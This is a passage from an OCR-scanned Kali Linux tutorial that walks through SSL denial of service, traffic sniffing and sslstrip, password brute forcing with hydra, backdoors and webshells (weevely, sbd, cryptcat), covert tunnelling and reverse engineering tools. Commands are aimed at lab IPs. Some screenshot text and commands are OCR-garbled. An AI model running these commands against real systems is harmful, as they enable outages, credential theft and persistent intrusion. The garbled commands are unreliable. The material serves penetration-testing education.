connection requires 15x more processing power on the server than on the client. THCSSL-

DOS exploits this asymmetric property by overloading the server and knocking it off the
Internet.

Following is the command —

thc-ssl-dos victimIP httpsport -accept

In this example, it will be —

thc-ssl-dos 192.168.1.1 443 -accept

Its output would be as follows —

root@kali: ~

File Edt View Search Terminal Help

http://www.thc.org
Twitter @hackerschoice

areetingz: the french underground

Naiting for script kiddies to piss off
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Handshakes €
Handshakes
error:
SSL: error:
Handshakes
SSL: error:
._:'1 error.
SbL: error:
S5L: error:
HﬂHd shakes
error
error:
error:@
SSL: error:
HEHHSHaET“

I = ]
f =] 5

:func(0) :re
132 Conn,
:func(0) :re
:funcfﬂj:'
: func @)=
) func (@Y
1?2 Conn,
Tumr|u1

Kali Linux - Sniffing & Spoofing

The basic concept of sniffing tools is as simple as wiretapping and Kali Linux has some
popular tools for this purpose. In this chapter, we will learn about the sniffing and spoofing

tools available in Kali.

Burpsuite

Burpsuite can be used as a sniffing tool between your browser and the webservers to find
the parameters that the web application uses.

To open Burpsuite, go to Applications — Web Application Analysis — burpsuite.



Applications = Places = Sun 18:53

Favorites @ burpguite

01 - Information Gathering
f commix

03 - Web Application Analysis i1t httrack

02 - Vulnerability Analysis

® CMS & Framework ldentification
owasp-zap

® \Web Application Proxies

daros
® Web Crawlers & Directory Brutef... P

® \Web Vulnerability Scanners skipfish

04 - Database Assessment
sglmap
05 - Password Attacks

06 - Wireless Attacks vega
07 - Reverse Engineering

w3af
08 - Exploitation Tools
webscarab
09 - 5niffing & Spoofing
® Network Sniffers @ wpscan
® Spoofing and MITM

10 - Post Exploitation

11 - Forensics

o
To make the setup of sniffing, we configure burpsuite to behave as a proxy. To do this, go
to Options as shown in the following screenshot. Check the box as shown.

In this case, the proxy IP will be 127.0.0.1 with port 8080.
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Then configure the browser proxy which is the IP of burpsuite machine and the port.



Connection Settings

Configure Proxies to Access the Internet
) No proxy
(_) Auto-detect proxy settings for this network

(_)Use system proxy settings

(*) Manual proxy configuration:

HTTP Proxy: | 127.0.0.1 | Port: | 8080 |

| Use this proxy server for all protocols

| | | ]
S5L Proxy: Port: 0 5

ETP Proxy: | | Port: | Dlﬁl
SOCKS Host: | | Port: | ol

(_/SOCKS v4 (*/SOCKS v5 [ Remote DNS

Mo Proxy for:

localhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192.168.1.0/24
_ Automatic proxy configuration URL:

l || Reload |

|| Do not prompt for authentication if password is saved

—l
! Help | e || oK

To start interception, go to Proxy — Intercept — click “Intercept is on”.

Continue to navigate on the webpage that you want to find the parameter to test for
vulnerabilities.

Burp kdruder Repsater Windom Halp

'] 'i = Tlhcndlr Tl:nrrwu Imnu-r] Optizng T.eru '| I
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Formard Cirop Inkercept s on Action Comment tis g=m [ IEJ

_mhmrrr: Hesders  Hex

In this case, it is metasploitable machine with IP 192.168.1.102
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Go to “HTTP History”. In the following screenshot, the line marked in red arrow shows the
last request. In Raw and the hidden parameter such as the Session ID and other

parameter such as user name and password has been underlined in red.
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mitmproxy

mitmproxy is an SSL-capable man-in-the-middle HTTP proxy. It provides a console

interface that allows traffic flows to be inspected and edited on the fly.

To open it, go to the terminal and type “mitmproxy -parameter” and for getting help on

commands, type “"mitmproxy -h".



root@kali: ~ o0

File Edit View Search Terminal Help

documentat
values

To start the mitmproxy, type "mitmproxy —p portnumber”. In this case, it is "mitmproxy
-p 80"

~# mitmp

~# |

Wireshark

Wireshark is one of the best data packet analyzers. It analyzes deeply the packets in frame
level. You can get more webpage:

https://www.wireshark.org/ . In Kali, it is found using the following path - Applications
— Sniffing & Spoofing — wireshark.

information on Wireshark from their official


https://www.wireshark.org/

Applications « Places = Mon 14:31

Favorites bdfproxy

01 - Information Gathering
driftnet
02 - Vulnerability Analysis

03 - Web Application Analysi 7~ ettercap-g..

04 - Database Assessment
hamster
05 - Password Attacks
macchanger
06 - Wireless Attacks = J
07 - Reverse Engineering mitmproxy

08 - Exploitation Tools
netsniff-ng
09 - Sniffing & Spoofing

10 - Post Exploitation responder

11 - Forensics wireshark
12 - Reporting Tools
13 - Social Engineering Tools

14 - System Services

Usual applications

Once you click wireshark, the following GUI opens up.
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Click “Start” and the packet capturing will start as shown in the following screenshot.
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sslstrip is a MITM attack that forces a victim's browser to communicate in plain-text over
HTTP, and the proxies modifies the content from an HTTPS server. To do this, sslstrip is
"stripping" https:// URLs and turning them into http:// URLs.

To open it, go to Applications — 09-Sniffing & Spoofing — Spoofing and MITM — sslstrip.

Applications - Places -

Favorites \ dnschef

01 - Informatinn Satharin

To set it up, write to forward all the 80 port communication to 8080.

Then, start the sslstrip command for the port needed.

Kali Linux - Password Cracking Tools

In this chapter, we will learn about the important password cracking tools used in Kali
Linux.

Hydra

Hydra is a login cracker that supports many protocols to attack ( Cisco AAA, Cisco auth,
Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-
HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle
SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT),



SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (vl and v2), SSHKEY, Subversion,
Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP).

To open it, go to Applications — Password Attacks — Online Attacks — hydra.
It will open the terminal console, as shown in the following screenshot.

In this case, we will brute force FTP service of metasploitable machine, which has IP
192.168.1.101

We have created in Kali a word Ilist with extension ‘lst’” in the path
usr\share\wordlist\metasploit.

The command will be as follows —

hydra -1 /usr/share/wordlists/metasploit/user -P
/usr/share/wordlists/metasploit/ passwords ftp://192.168.1.101 -V

where =V is the username and password while trying

As shown in the following screenshot, the username and password are found which are
msfadmin:msfadmin

Johnny

Johnny is a GUI for the John the Ripper password cracking tool. Generally, it is used for
weak passwords.

To open it, go to Applications — Password Attacks — johnny.

In this case, we will get the password of Kali machine with the following command and a
file will be created on the desktop.

Click “Open Passwd File” — OK and all the files will be shown as in the following
screenshot.

Click “Start Attack”.

After the attack is complete, click the left panel at “Passwords” and the password will be
unshaded.
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John

john is a command line version of Johnny GUI. To start it, open the Terminal and type
“john”.

In case of unshadowing the password, we need to write the following command —

root@kali:~# unshadow passwd shadow > unshadowed.txt

Rainbowcrack

The RainbowCrack software cracks hashes by rainbow table lookup. Rainbow tables are
ordinary files stored on the hard disk. Generally, Rainbow tables are bought online or can
be compiled with different tools.

To open it, go to Applications — Password Attacks — click “rainbowcrack”.
The command to crack a hash password is —

rcrack path_to_rainbow_tables -f path_to_password_hash

SQLdict



It is a dictionary attack tool for SQL server and is very easy and basic to be used. To open
it, open the terminal and type “sqldict”. It will open the following view.

Under “Target IP Server”, enter the IP of the server holding the SQL. Under “Target
Account”, enter the username. Then load the file with the password and click “start” until it
finishes.

hash-identifier

It is a tool that is used to identify types of hashes, meaning what they are being used for.
For example, if I have a HASH, it can tell me if it is a Linux or windows HASH.

The above screen shows that it can be a MD5 hash and it seems a Domain cached
credential.

Kali Linux - Maintaining Access

In this chapter, we will see the tools that Kali uses to maintain connection and for access to
a hacked machine even when it connects and disconnects again.

Powersploit

This is a tool that is for Windows machines. It has PowerShell installed in victims machine.
This tool helps the hacker to connect with the victim’s machine via PowerShell.

To open it, open the terminal on the left and type the following command to enter into the
powersploit folder —

cd /usr/share/powersploit/

If you type “Is” it will list all the powersploit tools that you can download and install in the
victim’s machine after you have gained access. Most of them are name self-explained
according to their names.

An easy way to download this tool on the victim’s machine is to create a web server, which
powersploit tools allow to create easily using the following command —

python -m SimpleHTTPServer

After this, if you type: http://<Kali machine ip_address>:8000/ following is the result.

Sbd

sbd is a tool similar to Netcat. It is portable and can be used in Linux and Microsoft
machines. sbd features AES-CBC-128 + HMAC-SHA1l encryption> Basically, it helps to
connect to a victim’s machine any time on a specific port and send commands remotely.



To open it, go to the terminal and type “sbd -l -p port” for the server to accept
connections.

In this case, let us put port 44 where the server will listen.

On the victim'’s site, type “sbd IPofserver port”. A connection will be established where
we can send the remote commands.

In this case, it is “localhost” since we have performed the test on the same machine.

Finally, on the server you will see that a connection has occurred as shown in the following
screenshot.

Webshells

Webshells can be used to maintain access or to hack a website. But most of them are
detected by antiviruses. The C99 php shell is very well known among the antivirus. Any
common antivirus will easily detect it as a malware.

Generally, their main function is to send system command via web interfaces.

To open it, and type “cd /usr/share/webshells/” in the terminal.

As you see, they are divided in classes according to the programing language : asp , aspx,
cfm, jsp, perl,php

If you enter in the PHP folder, you can see all the webshells for php webpages.

To upload the shell to a web server, for example “simple-backdoor.php” open the
webpage and URL of the web shell.

At the end, write the cmd command. You will have all the info shown as in the following
screenshot.

Weevely

Weevely is a PHP web shell that simulate telnet-like connection. It is a tool for web
application post exploitation, and can be used as a stealth backdoor or as a web shell to
manage legit web accounts, even free hosted ones.

To open it, go to the terminal and type “weevely” where you can see its usage.

To generate the shell, type “weevely generate password pathoffile”. As seen in the
following screenshot, it is generated on the “Desktop” folder and the file is to upload in a
webserver to gain access.



After uploading the web shell as shown in the following screenshot, we can connect with
cmd to the server using the command “weevely URL password” where you can see that
a session has started.

http-tunnel

http-tunnel creates a bidirectional virtual data stream tunneled in HTTP requests. The
requests can be sent via a HTTP proxy if so desired. This can be useful for users behind
restrictive firewalls. If WWW access is allowed through a HTTP proxy, it's possible to use
http-tunnel and telnet or PPP to connect to a computer outside the firewall.

First, we should create a tunnel server with the following command —

httptunnel_server -h

Then, on the client site type “httptunnel_client -h” and both will start to accept
connections.

dns2tcp

This is again a tunneling tool that helps to pass the TCP traffic through DNS Traffic, which
means UDP 53 port.

To start it, type “dns2tcpd”. The usage is explained when you will open the script.
On the server site, enter this command to configure the file.

#cat >>.dns2tcpdrc

<&1;END listen = 0.0.0.0

port = 53 user=nobody

chroot = /root/dns2tcp

pid_file = /var/run/dns2tcp.pid
domain = your domain key = secretkey
resources = ssh:127.0.0.1:22

END

#dns2tcpd -f .dns2tcpdrc

On Client site, enter this command.

# cat >>.dns2tcprc

<<END domain = your domain

resource = ssh

local port = 7891

key = secretkey

END

# dns2tcpc -f .dns2tcprc

# ssh root@localhost -p 7891 -D 7076



Tunneling will start with this command.

cryptcat

It is another tool like Netcat which allows to make TCP and UDP connection with a victim’s
machine in an encrypted way.

To start a server to listen for a connection, type the following command —

cryptcat -1 -p port -n

Where,

-] stands for listening to a connection
-p stands for port number parameter

-n stands for not doing the name resolution

On client site, the connection command is “cryptcat IPofServer PortofServer”

Kali Linux - Reverse Engineering

In this chapter, we will learn about the reverse engineering tools of Kali Linux.

OllyDbg

OllyDbg is a 32-bit assembler level analyzing debugger for Microsoft Windows applications.
Emphasis on binary code analysis makes it particularly useful in cases where the source is
unavailable. Generally, it is used to crack the commercial softwares.

To open it, go to Applications — Reverse Engineering — ollydbg

To load a EXE file, go the “"Opening folder” in yellow color, which is shown in a red square
in the above screenshot.

After loading, you will have the following view where you can change the binaries.

dex2jar

This is an application that helps convert APK file (android) to JAR file in order to view the
source code. To use it, open the terminal and write “d2j-dex2jar —d /file location”.

In this case, the file is “classes.dex” on the desktop.

The following line shows that a JAR file has been created.



jd-gui
JD-GUI is a standalone graphical utility that displays Java source codes of “.class” files.

You can browse the reconstructed source code. In this case, we can reconstruct the file
that we extracted from the dex2jar tool.

To launch it, open the terminal and write “jd-gui” and the following view will open.

To import the file, click the open folder icon on the left upper corner and then import the
file.

apktool

Apktool is one of the best tools to reverse the whole android application. It can decode
resources to nearly an original form and rebuild them after making modifications.

To open it, go to the terminal and write ™ apktool”.

To decompile a apk file, write “apktool d apk file".

Decompilation will start as shown in the following screenshot.

Kali Linux - Reporting Tools

In this chapter, we will learn about some reporting tools in Kali Linux.

Dradis

In all this work that we have performed, it is important to share the results that was
produced, to track our work, etc. For this purpose, Kali has a reporting tool called dradis
which is a web service.

Step 1 — To start Dradis, type “service dradis start”.
Step 2 — To open, go to Applications — Reporting Tools — dradis.

The web URL will open. Anybody in LAN can open it in the following URL https://IP of kali
machine:3004

Log in with the username and password that was used for the first time.

Step 3 — After logging in, you can import files from NMAP, NESSUS, NEXPOSE. To do so,
go to “Import from file” — click “new importer(with real-time feedback)”.

Step 4 — Select the file type that you want to upload. In this case, it is "Nessus scan” —
click “"Browse”.



If you go to the home page now, on the left panel you will see that the imported scans
have are in a folder with their host and port details.

Metagoofil

Metagoofil performs a search in Google to identify and download the documents to the
local disk and then extracts the metadata. It extracts metadata of public documents
belonging to a specific company, individual, object, etc.

To open it, go to: “usr/share/metagoofil/”.
To start searching, type the following command —

python metagoofil.py

You can use the following parameters with this command —
—d (domain name)
-t (filetype to download dox, pdf,etc)
=1 (limit the results 10, 100 )
-n (limit files to download)
-0 ( location to save the files)
—f (output file)

The following example shows only the domain name is hidden.
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